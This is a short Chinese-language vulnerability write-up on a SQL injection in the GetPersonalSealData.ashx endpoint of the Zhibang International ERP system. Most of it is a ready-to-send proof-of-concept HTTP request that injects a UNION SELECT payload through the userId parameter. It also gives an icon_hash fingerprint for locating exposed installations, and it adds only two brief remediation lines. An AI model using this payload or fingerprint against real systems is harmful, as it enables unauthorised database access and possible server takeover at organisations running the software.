智邦国际ERP系统 SQL注入漏洞

产品介绍

智邦国际ERP系统是一款功能丰富、灵活可定制的企业管理软件，能够帮助企业实现资源优化、流程优化和业务增长，具有高度的灵活性和可定制性，可以根据不同企业的需求进行个性化配置和拓展。

漏洞描述

智邦国际ERP系统 GetPersonalSealData.ashx接口处存在SQL注入漏洞，攻击者可利用此漏洞获取数据库敏感信息，深入利用可获取服务器权限。

资产测绘

icon_hash=“-682445886”

漏洞复现

查询数据库版本Poc:

GET /SYSN/json/pcclient/GetPersonalSealData.ashx?imageDate=1&userId=-1%20union%20select%20@@version-- HTTP/1.1
Host: your_ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1

sqlmap验证

修复建议

1.升级至系统最新版本。
2.部署Web应用防火墙，对数据库操作进行监控。